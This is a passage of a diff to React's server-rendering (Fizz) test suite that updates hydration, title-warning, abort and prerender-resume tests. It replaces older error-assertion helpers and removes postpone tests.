-      expect(getVisibleChildren(container)).toEqual(
-        <div>
-          <h1>one</h1>
-          <h2>two</h2>
-          <h3>three</h3>
-        </div>,
-      );
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <h1>one</h1>
+        <h2>two</h2>
+        <h3>three</h3>
+      </div>,
+    );
 
-      isClient = true;
+    isClient = true;
 
-      ReactDOMClient.hydrateRoot(container, <App />, {
-        onRecoverableError(error) {
-          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));
-          if (error.cause) {
-            Scheduler.log('Cause: ' + normalizeError(error.cause.message));
-          }
-        },
-      });
-      await waitForAll([
-        'throwing: first error',
-        'suspending',
-        'onRecoverableError: There was an error while hydrating but React was able to recover by instead client rendering from the nearest Suspense boundary.',
-        'Cause: first error',
-      ]);
-      expect(mockError.mock.calls).toEqual([]);
-      mockError.mockClear();
+    ReactDOMClient.hydrateRoot(container, <App />, {
+      onRecoverableError(error) {
+        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));
+        if (error.cause) {
+          Scheduler.log('Cause: ' + normalizeError(error.cause.message));
+        }
+      },
+    });
+    await waitForAll([
+      'throwing: first error',
+      'suspending',
+      'onRecoverableError: There was an error while hydrating but React was able to recover by instead client rendering from the nearest Suspense boundary.',
+      'Cause: first error',
+    ]);
 
-      expect(getVisibleChildren(container)).toEqual(
-        <div>
-          <h1>Loading...</h1>
-        </div>,
-      );
-      await clientAct(() => unsuspend());
-      // Since our client components only throw on the very first render there are no
-      // new throws in this pass
-      assertLog([]);
-      expect(mockError.mock.calls).toEqual([]);
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <h1>Loading...</h1>
+      </div>,
+    );
+    await clientAct(() => unsuspend());
+    // Since our client components only throw on the very first render there are no
+    // new throws in this pass
+    assertLog([]);
 
-      expect(getVisibleChildren(container)).toEqual(
-        <div>
-          <h1>one</h1>
-          <h2>two</h2>
-          <h3>three</h3>
-        </div>,
-      );
-    } finally {
-      console.error = originalConsoleError;
-    }
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <h1>one</h1>
+        <h2>two</h2>
+        <h3>three</h3>
+      </div>,
+    );
   });
 
   it('#24578 Hydration errors caused by a suspending component should not become recoverable when nested in an ancestor Suspense that is showing primary content', async () => {
@@ -5353,7 +5367,9 @@ describe('ReactDOMFizzServer', () => {
       });
 
       expect(container.innerHTML).toEqual(
-        '<div>hello<b>world, <!-- -->Foo</b>!</div>',
+        (gate(flags => flags.shouldUseFizzExternalRuntime)
+          ? '<script src="react-dom-bindings/src/server/ReactDOMServerExternalRuntime.js" async=""></script>'
+          : '') + '<div>hello<b>world, <!-- -->Foo</b>!</div>',
       );
       const errors = [];
       ReactDOMClient.hydrateRoot(container, <App name="Foo" />, {
@@ -5373,15 +5389,17 @@ describe('ReactDOMFizzServer', () => {
     it('does not insert text separators even when adjacent text is in a delayed segment', async () => {
       function App({name}) {
         return (
-          <Suspense fallback={'loading...'}>
-            <div id="app-div">
-              hello
-              <b>
-                world, <AsyncText text={name} />
-              </b>
-              !
-            </div>
-          </Suspense>
+          <div>
+            <Suspense fallback={'loading...'}>
+              <div id="app-div">
+                hello
+                <b>
+                  world, <AsyncText text={name} />
+                </b>
+                !
+              </div>
+            </Suspense>
+          </div>
         );
       }
 
@@ -5399,19 +5417,11 @@ describe('ReactDOMFizzServer', () => {
       const div = stripExternalRuntimeInNodes(
         container.children,
         renderOptions.unstable_externalRuntimeSrc,
-      )[0];
+      )[0].children[0];
       expect(div.outerHTML).toEqual(
         '<div id="app-div">hello<b>world, Foo</b>!</div>',
       );
 
-      // there may be either:
-      //  - an external runtime script and deleted nodes with data attributes
-      //  - extra script nodes containing fizz instructions at the end of container
-      expect(
-        Array.from(container.childNodes).filter(e => e.tagName !== 'SCRIPT')
-          .length,
-      ).toBe(3);
-
       expect(div.childNodes.length).toBe(3);
       const b = div.childNodes[1];
       expect(b.childNodes.length).toBe(2);
@@ -5427,8 +5437,10 @@ describe('ReactDOMFizzServer', () => {
       await waitForAll([]);
       expect(errors).toEqual([]);
       expect(getVisibleChildren(container)).toEqual(
-        <div id="app-div">
-          hello<b>world, {'Foo'}</b>!
+        <div>
+          <div id="app-div">
+            hello<b>world, {'Foo'}</b>!
+          </div>
         </div>,
       );
     });
@@ -5436,12 +5448,14 @@ describe('ReactDOMFizzServer', () => {
     it('works with multiple adjacent segments', async () => {
       function App() {
         return (
-          <Suspense fallback={'loading...'}>
-            <div id="app-div">
-              h<AsyncText text={'ello'} />
-              w<AsyncText text={'orld'} />
-            </div>
-          </Suspense>
+          <div>
+            <Suspense fallback={'loading...'}>
+              <div id="app-div">
+                h<AsyncText text={'ello'} />
+                w<AsyncText text={'orld'} />
+              </div>
+            </Suspense>
+          </div>
         );
       }
 
@@ -5465,7 +5479,7 @@ describe('ReactDOMFizzServer', () => {
         stripExternalRuntimeInNodes(
           container.children,
           renderOptions.unstable_externalRuntimeSrc,
-        )[0].outerHTML,
+        )[0].children[0].outerHTML,
       ).toEqual('<div id="app-div">helloworld</div>');
 
       const errors = [];
@@ -5477,19 +5491,23 @@ describe('ReactDOMFizzServer', () => {
       await waitForAll([]);
       expect(errors).toEqual([]);
       expect(getVisibleChildren(container)).toEqual(
-        <div id="app-div">{['h', 'ello', 'w', 'orld']}</div>,
+        <div>
+          <div id="app-div">{['h', 'ello', 'w', 'orld']}</div>
+        </div>,
       );
     });
 
     it('works when some segments are flushed and others are patched', async () => {
       function App() {
         return (
-          <Suspense fallback={'loading...'}>
-            <div id="app-div">
-              h<AsyncText text={'ello'} />
-              w<AsyncText text={'orld'} />
-            </div>
-          </Suspense>
+          <div>
+            <Suspense fallback={'loading...'}>
+              <div id="app-div">
+                h<AsyncText text={'ello'} />
+                w<AsyncText text={'orld'} />
+              </div>
+            </Suspense>
+          </div>
         );
       }
 
@@ -5510,7 +5528,7 @@ describe('ReactDOMFizzServer', () => {
         stripExternalRuntimeInNodes(
           container.children,
           renderOptions.unstable_externalRuntimeSrc,
-        )[0].outerHTML,
+        )[0].children[0].outerHTML,
       ).toEqual('<div id="app-div">h<!-- -->ello<!-- -->world</div>');
 
       const errors = [];
@@ -5525,7 +5543,9 @@ describe('ReactDOMFizzServer', () => {
       await waitForAll([]);
       expect(errors).toEqual([]);
       expect(getVisibleChildren(container)).toEqual(
-        <div id="app-div">{['h', 'ello', 'w', 'orld']}</div>,
+        <div>
+          <div id="app-div">{['h', 'ello', 'w', 'orld']}</div>
+        </div>,
       );
     });
 
@@ -5550,7 +5570,7 @@ describe('ReactDOMFizzServer', () => {
         pipe(writable);
       });
 
-      expect(container.firstElementChild.outerHTML).toEqual(
+      expect(container.lastElementChild.outerHTML).toEqual(
         '<div>hello<b>world<!-- --></b></div>',
       );
 
@@ -5588,7 +5608,7 @@ describe('ReactDOMFizzServer', () => {
         pipe(writable);
       });
 
-      expect(container.firstElementChild.outerHTML).toEqual(
+      expect(container.lastElementChild.outerHTML).toEqual(
         '<div>hello<b>world</b></div>',
       );
 
@@ -5728,7 +5748,10 @@ describe('ReactDOMFizzServer', () => {
       });
 
       expect(container.innerHTML).toEqual(
-        '<div><!--$-->hello<!-- -->world<!-- --><!--/$--><!--$-->world<!-- --><!--/$--><!--$-->hello<!-- -->world<!-- --><br><!--/$--><!--$-->world<!-- --><br><!--/$--></div>',
+        (gate(flags => flags.shouldUseFizzExternalRuntime)
+          ? '<script src="react-dom-bindings/src/server/ReactDOMServerExternalRuntime.js" async=""></script>'
+          : '') +
+          '<div><!--$-->hello<!-- -->world<!-- --><!--/$--><!--$-->world<!-- --><!--/$--><!--$-->hello<!-- -->world<!-- --><br><!--/$--><!--$-->world<!-- --><br><!--/$--></div>',
       );
 
       const errors = [];
@@ -5876,13 +5899,23 @@ describe('ReactDOMFizzServer', () => {
         );
       }
 
-      await expect(async () => {
-        await act(() => {
-          const {pipe} = renderToPipeableStream(<App />);
-          pipe(writable);
-        });
-      }).toErrorDev([
-        'React expects the `children` prop of <title> tags to be a string, number, bigint, or object with a novel `toString` method but found an Array with length 2 instead. Browsers treat all child Nodes of <title> tags as Text content and React expects to be able to convert `children` of <title> tags to a single string value which is why Arrays of length greater than 1 are not supported. When using JSX it can be commong to combine text nodes and value nodes. For example: <title>hello {nameOfUser}</title>. While not immediately apparent, `children` in this case is an Array with length 2. If your `children` prop is using this form try rewriting it using a template string: <title>{`hello ${nameOfUser}`}</title>.',
+      await act(() => {
+        const {pipe} = renderToPipeableStream(<App />);
+        pipe(writable);
+      });
+      assertConsoleErrorDev([
+        'React expects the `children` prop of <title> tags to be a string, number, bigint, ' +
+          'or object with a novel `toString` method but found an Array with length 2 instead. ' +
+          'Browsers treat all child Nodes of <title> tags as Text content and React expects ' +
+          'to be able to convert `children` of <title> tags to a single string value which is why ' +
+          'Arrays of length greater than 1 are not supported. ' +
+          'When using JSX it can be common to combine text nodes and value nodes. ' +
+          'For example: <title>hello {nameOfUser}</title>. ' +
+          'While not immediately apparent, `children` in this case is an Array with length 2. ' +
+          'If your `children` prop is using this form try rewriting it using a template string: ' +
+          '<title>{`hello ${nameOfUser}`}</title>.\n' +
+          '    in title (at **)\n' +
+          '    in App (at **)',
       ]);
 
       expect(getVisibleChildren(document.head)).toEqual(<title />);
@@ -5913,13 +5946,21 @@ describe('ReactDOMFizzServer', () => {
         );
       }
 
-      await expect(async () => {
-        await act(() => {
-          const {pipe} = renderToPipeableStream(<App />);
-          pipe(writable);
-        });
-      }).toErrorDev([
-        'React expects the `children` prop of <title> tags to be a string, number, bigint, or object with a novel `toString` method but found an object that appears to be a React element which never implements a suitable `toString` method. Browsers treat all child Nodes of <title> tags as Text content and React expects to be able to convert children of <title> tags to a single string value which is why rendering React elements is not supported. If the `children` of <title> is a React Component try moving the <title> tag into that component. If the `children` of <title> is some HTML markup change it to be Text only to be valid HTML.',
+      await act(() => {
+        const {pipe} = renderToPipeableStream(<App />);
+        pipe(writable);
+      });
+      assertConsoleErrorDev([
+        'React expects the `children` prop of <title> tags to be a string, number, bigint, ' +
+          'or object with a novel `toString` method but found an object that appears to be a ' +
+          'React element which never implements a suitable `toString` method. ' +
+          'Browsers treat all child Nodes of <title> tags as Text content and React expects ' +
+          'to be able to convert children of <title> tags to a single string value which is ' +
+          'why rendering React elements is not supported. If the `children` of <title> is a ' +
+          'React Component try moving the <title> tag into that component. ' +
+          'If the `children` of <title> is some HTML markup change it to be Text only to be valid HTML.\n' +
+          '    in title (at **)\n' +
+          '    in App (at **)',
       ]);
       // object titles are toStringed when float is on
       expect(getVisibleChildren(document.head)).toEqual(
@@ -5948,13 +5989,21 @@ describe('ReactDOMFizzServer', () => {
         );
       }
 
-      await expect(async () => {
-        await act(() => {
-          const {pipe} = renderToPipeableStream(<App />);
-          pipe(writable);
-        });
-      }).toErrorDev([
-        'React expects the `children` prop of <title> tags to be a string, number, bigint, or object with a novel `toString` method but found an object that does not implement a suitable `toString` method. Browsers treat all child Nodes of <title> tags as Text content and React expects to be able to convert children of <title> tags to a single string value. Using the default `toString` method available on every object is almost certainly an error. Consider whether the `children` of this <title> is an object in error and change it to a string or number value if so. Otherwise implement a `toString` method that React can use to produce a valid <title>.',
+      await act(() => {
+        const {pipe} = renderToPipeableStream(<App />);
+        pipe(writable);
+      });
+      assertConsoleErrorDev([
+        'React expects the `children` prop of <title> tags to be a string, number, bigint, ' +
+          'or object with a novel `toString` method but found an object that does not implement a ' +
+          'suitable `toString` method. Browsers treat all child Nodes of <title> tags as Text ' +
+          'content and React expects to be able to convert children of <title> tags to a single string value. ' +
+          'Using the default `toString` method available on every object is almost certainly an error. ' +
+          'Consider whether the `children` of this <title> is an object in error and change it to a ' +
+          'string or number value if so. Otherwise implement a `toString` method that React can ' +
+          'use to produce a valid <title>.\n' +
+          '    in title (at **)\n' +
+          '    in App (at **)',
       ]);
       // object titles are toStringed when float is on
       expect(getVisibleChildren(document.head)).toEqual(
@@ -6132,11 +6181,13 @@ describe('ReactDOMFizzServer', () => {
 
     function App() {
       return (
-        <Suspense fallback="Loading...">
-          <ErrorBoundary>
-            <Async />
-          </ErrorBoundary>
-        </Suspense>
+        <div>
+          <Suspense fallback="Loading...">
+            <ErrorBoundary>
+              <Async />
+            </ErrorBoundary>
+          </Suspense>
+        </div>
       );
     }
 
@@ -6166,7 +6217,7 @@ describe('ReactDOMFizzServer', () => {
       await promiseC;
     });
 
-    expect(getVisibleChildren(container)).toEqual('Loading...');
+    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);
     expect(reportedServerErrors.length).toBe(1);
     expect(reportedServerErrors[0].message).toBe('Oops!');
 
@@ -6181,7 +6232,7 @@ describe('ReactDOMFizzServer', () => {
       },
     });
     await waitForAll([]);
-    expect(getVisibleChildren(container)).toEqual('Oops!');
+    expect(getVisibleChildren(container)).toEqual(<div>Oops!</div>);
     // Because this is rethrown on the client, it is not a recoverable error.
     expect(reportedClientErrors.length).toBe(0);
     // It is caught by the error boundary.
@@ -6284,7 +6335,63 @@ describe('ReactDOMFizzServer', () => {
     expect(getVisibleChildren(container)).toEqual('Hi');
   });
 
-  // @gate enableAsyncActions
+  it('should correctly handle different promises in React.use() across lazy components', async () => {
+    let promise1;
+    let promise2;
+    let promiseLazy;
+
+    function Component1() {
+      promise1 ??= new Promise(r => setTimeout(() => r('value1'), 50));
+      const data = React.use(promise1);
+      return (
+        <div>
+          {data}
+          <Component2Lazy />
+        </div>
+      );
+    }
+
+    function Component2() {
+      promise2 ??= new Promise(r => setTimeout(() => r('value2'), 50));
+      const data = React.use(promise2);
+      return <div>{data}</div>;
+    }
+
+    const Component2Lazy = React.lazy(async () => {
+      promiseLazy ??= new Promise(r => setTimeout(r, 50));
+      await promiseLazy;
+      return {default: Component2};
+    });
+
+    function App() {
+      return <Component1 />;
+    }
+
+    await act(async () => {
+      const {pipe} = renderToPipeableStream(<App />);
+      pipe(writable);
+    });
+
+    // Wait for promise to resolve
+    await act(async () => {
+      await promise1;
+    });
+    await act(async () => {
+      await promiseLazy;
+    });
+    await act(async () => {
+      await promise2;
+    });
+
+    // Verify both components received the correct values
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        value1
+        <div>value2</div>
+      </div>,
+    );
+  });
+
   it('useActionState hydrates without a mismatch', async () => {
     // This is testing an implementation detail: useActionState emits comment
     // nodes into the SSR stream, so this checks that they are handled correctly
@@ -6337,7 +6444,6 @@ describe('ReactDOMFizzServer', () => {
     expect(childRef.current).toBe(child);
   });
 
-  // @gate enableAsyncActions
   it("useActionState hydrates without a mismatch if there's a render phase update", async () => {
     async function action(state) {
       return state;
@@ -6400,12 +6506,11 @@ describe('ReactDOMFizzServer', () => {
   });
 
   describe('useEffectEvent', () => {
-    // @gate enableUseEffectEventHook
     it('can server render a component with useEffectEvent', async () => {
       const ref = React.createRef();
       function App() {
         const [count, setCount] = React.useState(0);
-        const onClick = React.experimental_useEffectEvent(() => {
+        const onClick = React.useEffectEvent(() => {
           setCount(c => c + 1);
         });
         return (
@@ -6431,11 +6536,10 @@ describe('ReactDOMFizzServer', () => {
       expect(getVisibleChildren(container)).toEqual(<button>1</button>);
     });
 
-    // @gate enableUseEffectEventHook
     it('throws if useEffectEvent is called during a server render', async () => {
       const logs = [];
       function App() {
-        const onRender = React.experimental_useEffectEvent(() => {
+        const onRender = React.useEffectEvent(() => {
           logs.push('rendered');
         });
         onRender();
@@ -6463,11 +6567,10 @@ describe('ReactDOMFizzServer', () => {
       expect(reportedServerErrors).toEqual([caughtError]);
     });
 
-    // @gate enableUseEffectEventHook
     it('does not guarantee useEffectEvent return values during server rendering are distinct', async () => {
       function App() {
-        const onClick1 = React.experimental_useEffectEvent(() => {});
-        const onClick2 = React.experimental_useEffectEvent(() => {});
+        const onClick1 = React.useEffectEvent(() => {});
+        const onClick2 = React.useEffectEvent(() => {});
         if (onClick1 === onClick2) {
           return <div />;
         } else {
@@ -6505,7 +6608,18 @@ describe('ReactDOMFizzServer', () => {
     });
 
     expect(document.documentElement.outerHTML).toEqual(
-      '<html><head></head><body><script>try { foo() } catch (e) {} ;</script></body></html>',
+      '<html><head>' +
+        (gate(flags => flags.shouldUseFizzExternalRuntime)
+          ? '<script src="react-dom-bindings/src/server/ReactDOMServerExternalRuntime.js" async=""></script>'
+          : '') +
+        (gate(flags => flags.enableFizzBlockingRender)
+          ? '<link rel="expect" href="#_R_" blocking="render">'
+          : '') +
+        '</head><body><script>try { foo() } catch (e) {} ;</script>' +
+        (gate(flags => flags.enableFizzBlockingRender)
+          ? '<template id="_R_"></template>'
+          : '') +
+        '</body></html>',
     );
   });
 
@@ -6513,200 +6627,36 @@ describe('ReactDOMFizzServer', () => {
     function MyScript() {
       return 'bar();';
     }
-    const originalConsoleError = console.error;
-    const mockError = jest.fn();
-    console.error = (...args) => {
-      mockError(...args.map(normalizeCodeLocInfo));
-    };
-
-    try {
-      await act(async () => {
-        const {pipe} = renderToPipeableStream(
-          <html>
-            <body>
-              <script>{2}</script>
-              <script>
-                {[
-                  'try { foo() } catch (e) {} ;',
-                  'try { bar() } catch (e) {} ;',
-                ]}
-              </script>
-              <script>
-                <MyScript />
-              </script>
-            </body>
-          </html>,
-        );
-        pipe(writable);
-      });
-
-      if (__DEV__) {
-        expect(mockError.mock.calls.length).toBe(3);
-        expect(mockError.mock.calls[0]).toEqual([
-          'A script element was rendered with %s. If script element has children it must be a single string. Consider using dangerouslySetInnerHTML or passing a plain string as children.%s',
-          'a number for children',
-          componentStack(['script', 'body', 'html']),
-        ]);
-        expect(mockError.mock.calls[1]).toEqual([
-          'A script element was rendered with %s. If script element has children it must be a single string. Consider using dangerouslySetInnerHTML or passing a plain string as children.%s',
-          'an array for children',
-          componentStack(['script', 'body', 'html']),
-        ]);
-        expect(mockError.mock.calls[2]).toEqual([
-          'A script element was rendered with %s. If script element has children it must be a single string. Consider using dangerouslySetInnerHTML or passing a plain string as children.%s',
-          'something unexpected for children',
-          componentStack(['script', 'body', 'html']),
-        ]);
-      } else {
-        expect(mockError.mock.calls.length).toBe(0);
-      }
-    } finally {
-      console.error = originalConsoleError;
-    }
-  });
-
-  // @gate enablePostpone
-  it('client renders postponed boundaries without erroring', async () => {
-    function Postponed({isClient}) {
-      if (!isClient) {
-        React.unstable_postpone('testing postpone');
-      }
-      return 'client only';
-    }
-
-    function App({isClient}) {
-      return (
-        <div>
-          <Suspense fallback={'loading...'}>
-            <Postponed isClient={isClient} />
-          </Suspense>
-        </div>
-      );
-    }
-
-    const errors = [];
-
-    await act(() => {
-      const {pipe} = renderToPipeableStream(<App isClient={false} />, {
-        onError(error) {
-          errors.push(error.message);
-        },
-      });
-      pipe(writable);
-    });
-
-    expect(getVisibleChildren(container)).toEqual(<div>loading...</div>);
-
-    ReactDOMClient.hydrateRoot(container, <App isClient={true} />, {
-      onRecoverableError(error) {
-        errors.push(error.message);
-      },
-    });
-    await waitForAll([]);
-    // Postponing should not be logged as a recoverable error since it's intentional.
-    expect(errors).toEqual([]);
-    expect(getVisibleChildren(container)).toEqual(<div>client only</div>);
-  });
-
-  // @gate enablePostpone
-  it('errors if trying to postpone outside a Suspense boundary', async () => {
-    function Postponed() {
-      React.unstable_postpone('testing postpone');
-      return 'client only';
-    }
 
     function App() {
       return (
-        <div>
-          <Postponed />
-        </div>
-      );
-    }
-
-    const errors = [];
-    const fatalErrors = [];
-    const postponed = [];
-    let written = false;
-
-    const testWritable = new Stream.Writable();
-    testWritable._write = (chunk, encoding, next) => {
-      written = true;
-    };
-
-    await act(() => {
-      const {pipe} = renderToPipeableStream(<App />, {
-        onPostpone(reason) {
-          postponed.push(reason);
-        },
-        onError(error) {
-          errors.push(error.message);
-        },
-        onShellError(error) {
-          fatalErrors.push(error.message);
-        },
-      });
-      pipe(testWritable);
-    });
-
-    expect(written).toBe(false);
-    // Postponing is not logged as an error but as a postponed reason.
-    expect(errors).toEqual([]);
-    expect(postponed).toEqual(['testing postpone']);
-    // However, it does error the shell.
-    expect(fatalErrors).toEqual(['testing postpone']);
-  });
-
-  // @gate enablePostpone
-  it('can postpone in a fallback', async () => {
-    function Postponed({isClient}) {
-      if (!isClient) {
-        React.unstable_postpone('testing postpone');
-      }
-      return 'loading...';
-    }
-
-    const lazyText = React.lazy(async () => {
-      await 0; // causes the fallback to start work
-      return {default: 'Hello'};
-    });
-
-    function App({isClient}) {
-      return (
-        <div>
-          <Suspense fallback="Outer">
-            <Suspense fallback={<Postponed isClient={isClient} />}>
-              {lazyText}
-            </Suspense>
-          </Suspense>
-        </div>
+        <html>
+          <body>
+            <script>{2}</script>
+            <script>
+              {['try { foo() } catch (e) {} ;', 'try { bar() } catch (e) {} ;']}
+            </script>
+            <script>
+              <MyScript />
+            </script>
+          </body>
+        </html>
       );
     }
 
-    const errors = [];
-
-    await act(() => {
-      const {pipe} = renderToPipeableStream(<App isClient={false} />, {
-        onError(error) {
-          errors.push(error.message);
-        },
-      });
+    await act(async () => {
+      const {pipe} = renderToPipeableStream(<App />);
       pipe(writable);
     });
 
-    // TODO: This should actually be fully resolved because the value could eventually
-    // resolve on the server even though the fallback couldn't so we should have been
-    // able to render it.
-    expect(getVisibleChildren(container)).toEqual(<div>Outer</div>);
-
-    ReactDOMClient.hydrateRoot(container, <App isClient={true} />, {
-      onRecoverableError(error) {
-        errors.push(error.message);
-      },
-    });
-    await waitForAll([]);
-    // Postponing should not be logged as a recoverable error since it's intentional.
-    expect(errors).toEqual([]);
-    expect(getVisibleChildren(container)).toEqual(<div>Hello</div>);
+    assertConsoleErrorDev([
+      'A script element was rendered with a number for children. If script element has children it must be a single string. Consider using dangerouslySetInnerHTML or passing a plain string as children.' +
+        componentStack(['script', 'App']),
+      'A script element was rendered with an array for children. If script element has children it must be a single string. Consider using dangerouslySetInnerHTML or passing a plain string as children.' +
+        componentStack(['script', 'App']),
+      'A script element was rendered with something unexpected for children. If script element has children it must be a single string. Consider using dangerouslySetInnerHTML or passing a plain string as children.' +
+        componentStack(['script', 'App']),
+    ]);
   });
 
   it(
@@ -6760,37 +6710,62 @@ describe('ReactDOMFizzServer', () => {
     },
   );
 
-  // @gate enablePostpone
-  it('supports postponing in prerender and resuming later', async () => {
+  it('can resume a prerender that was aborted', async () => {
+    const promise = new Promise(r => {});
+
     let prerendering = true;
-    function Postpone() {
+
+    function Wait() {
       if (prerendering) {
-        React.unstable_postpone();
+        return React.use(promise);
+      } else {
+        return 'Hello';
       }
-      return 'Hello';
     }
 
     function App() {
       return (
         <div>
           <Suspense fallback="Loading...">
-            <Postpone />
+            <p>
+              <span>
+                <Suspense fallback="Loading again...">
+                  <Wait />
+                </Suspense>
+              </span>
+            </p>
+            <p>
+              <span>
+                <Suspense fallback="Loading again too...">
+                  <Wait />
+                </Suspense>
+              </span>
+            </p>
           </Suspense>
         </div>
       );
     }
 
-    const prerendered = await ReactDOMFizzStatic.prerenderToNodeStream(<App />);
-    expect(prerendered.postponed).not.toBe(null);
+    const controller = new AbortController();
+    const signal = controller.signal;
 
-    prerendering = false;
+    const errors = [];
+    function onError(error) {
+      errors.push(error);
+    }
+    let pendingPrerender;
+    await act(() => {
+      pendingPrerender = ReactDOMFizzStatic.prerenderToNodeStream(<App />, {
+        signal,
+        onError,
+      });
+    });
+    controller.abort('boom');
 
-    const resumed = ReactDOMFizzServer.resumeToPipeableStream(
-      <App />,
-      JSON.parse(JSON.stringify(prerendered.postponed)),
-    );
+    const prerendered = await pendingPrerender;
+
+    expect(errors).toEqual(['boom', 'boom']);
 
-    // Create a separate stream so it doesn't close the writable. I.e. simple concat.
     const preludeWritable = new Stream.PassThrough();
     preludeWritable.setEncoding('utf8');
     preludeWritable.on('data', chunk => {
@@ -6801,1351 +6776,2829 @@ describe('ReactDOMFizzServer', () => {
       prerendered.prelude.pipe(preludeWritable);
     });
 
-    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <p>
+          <span>Loading again...</span>
+        </p>
+        <p>
+          <span>Loading again too...</span>
+        </p>
+      </div>,
+    );
+
+    prerendering = false;
+
+    errors.length = 0;
+    const resumed = await ReactDOMFizzServer.resumeToPipeableStream(
+      <App />,
+      JSON.parse(JSON.stringify(prerendered.postponed)),
+      {
+        onError,
+      },
+    );
 
     await act(() => {
       resumed.pipe(writable);
     });
 
-    expect(getVisibleChildren(container)).toEqual(<div>Hello</div>);
+    expect(errors).toEqual([]);
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <p>
+          <span>Hello</span>
+        </p>
+        <p>
+          <span>Hello</span>
+        </p>
+      </div>,
+    );
   });
 
-  // @gate enablePostpone
-  it('client renders a component if it errors during resuming', async () => {
-    let prerendering = true;
-    let ssr = true;
-    function PostponeAndError() {
-      if (prerendering) {
-        React.unstable_postpone();
-      }
-      if (ssr) {
-        throw new Error('server error');
-      }
-      return 'Hello';
-    }
-
-    function Postpone() {
-      if (prerendering) {
-        React.unstable_postpone();
-      }
-      return 'Hello';
+  it('should NOT warn for using generator functions as components', async () => {
+    function* Foo() {
+      yield <h1 key="1">Hello</h1>;
+      yield <h1 key="2">World</h1>;
     }
 
-    const lazyPostponeAndError = React.lazy(async () => {
-      return {default: <PostponeAndError />};
+    await act(() => {
+      const {pipe} = renderToPipeableStream(<Foo />);
+      pipe(writable);
     });
 
-    function ReplayError() {
-      if (prerendering) {
-        return <Postpone />;
-      }
-      if (ssr) {
-        throw new Error('replay error');
-      }
-      return 'Hello';
+    expect(document.body.textContent).toBe('HelloWorld');
+  });
+
+  it('can abort synchronously during render', async () => {
+    function Sibling() {
+      return <p>sibling</p>;
     }
 
     function App() {
       return (
         <div>
-          <Suspense fallback="Loading1">
-            <PostponeAndError />
+          <Suspense fallback={<p>loading 1...</p>}>
+            <ComponentThatAborts />
+            <Sibling />
           </Suspense>
-          <Suspense fallback="Loading2">
-            <Postpone />
-            <Suspense fallback="Loading3">{lazyPostponeAndError}</Suspense>
-          </Suspense>
-          <Suspense fallback="Loading4">
-            <ReplayError />
+          <Suspense fallback={<p>loading 2...</p>}>
+            <Sibling />
           </Suspense>
+          <div>
+            <Suspense fallback={<p>loading 3...</p>}>
+              <div>
+                <Sibling />
+              </div>
+            </Suspense>
+          </div>
         </div>
       );
     }
 
-    const prerenderErrors = [];
-    const prerendered = await ReactDOMFizzStatic.prerenderToNodeStream(
-      <App />,
-      {
-        onError(x) {
-          prerenderErrors.push(x.message);
-        },
-      },
-    );
-    expect(prerendered.postponed).not.toBe(null);
-
-    prerendering = false;
-
-    const ssrErrors = [];
-
-    const resumed = ReactDOMFizzServer.resumeToPipeableStream(
-      <App />,
-      JSON.parse(JSON.stringify(prerendered.postponed)),
-      {
-        onError(x) {
-          ssrErrors.push(x.message);
-        },
-      },
-    );
-
-    // Create a separate stream so it doesn't close the writable. I.e. simple concat.
-    const preludeWritable = new Stream.PassThrough();
-    preludeWritable.setEncoding('utf8');
-    preludeWritable.on('data', chunk => {
-      writable.write(chunk);
-    });
+    const abortRef = {current: null};
+    function ComponentThatAborts() {
+      abortRef.current();
+      return <p>hello world</p>;
+    }
 
+    let finished = false;
     await act(() => {
-      prerendered.prelude.pipe(preludeWritable);
+      const {pipe, abort} = renderToPipeableStream(<App />);
+      abortRef.current = abort;
+      writable.on('finish', () => {
+        finished = true;
+      });
+      pipe(writable);
     });
 
+    assertConsoleErrorDev([
+      'Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
+      'Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
+      'Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
+    ]);
+
+    expect(finished).toBe(true);
     expect(getVisibleChildren(container)).toEqual(
       <div>
-        {'Loading1'}
-        {'Loading2'}
-        {'Loading4'}
+        <p>loading 1...</p>
+        <p>loading 2...</p>
+        <div>
+          <p>loading 3...</p>
+        </div>
       </div>,
     );
+  });
 
-    await act(() => {
-      resumed.pipe(writable);
+  it('can abort during render in a lazy initializer for a component', async () => {
+    function Sibling() {
+      return <p>sibling</p>;
+    }
+
+    function App() {
+      return (
+        <div>
+          <Suspense fallback={<p>loading 1...</p>}>
+            <LazyAbort />
+            <Sibling />
+          </Suspense>
+          <Suspense fallback={<p>loading 2...</p>}>
+            <Sibling />
+          </Suspense>
+          <div>
+            <Suspense fallback={<p>loading 3...</p>}>
+              <div>
+                <Sibling />
+              </div>
+            </Suspense>
+          </div>
+        </div>
+      );
+    }
+
+    const abortRef = {current: null};
+    const LazyAbort = React.lazy(() => {
+      abortRef.current();
+      return {
+        then(cb) {
+          cb({default: 'div'});
+        },
+      };
     });
 
-    expect(prerenderErrors).toEqual([]);
+    let finished = false;
+    await act(() => {
+      const {pipe, abort} = renderToPipeableStream(<App />);
+      abortRef.current = abort;
+      writable.on('finish', () => {
+        finished = true;
+      });
+      pipe(writable);
+    });
 
-    expect(ssrErrors).toEqual(['server error', 'server error', 'replay error']);
+    assertConsoleErrorDev([
+      'Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
+      'Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
+      'Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
+    ]);
 
-    // Still loading...
+    expect(finished).toBe(true);
     expect(getVisibleChildren(container)).toEqual(
       <div>
-        {'Loading1'}
-        {'Hello'}
-        {'Loading3'}
-        {'Loading4'}
+        <p>loading 1...</p>
+        <p>loading 2...</p>
+        <div>
+          <p>loading 3...</p>
+        </div>
       </div>,
     );
+  });
 
-    const recoverableErrors = [];
-
-    ssr = false;
-
-    await clientAct(() => {
-      ReactDOMClient.hydrateRoot(container, <App />, {
-        onRecoverableError(x) {
-          recoverableErrors.push(x.message);
-        },
-      });
-    });
-
-    expect(recoverableErrors).toEqual(
-      __DEV__
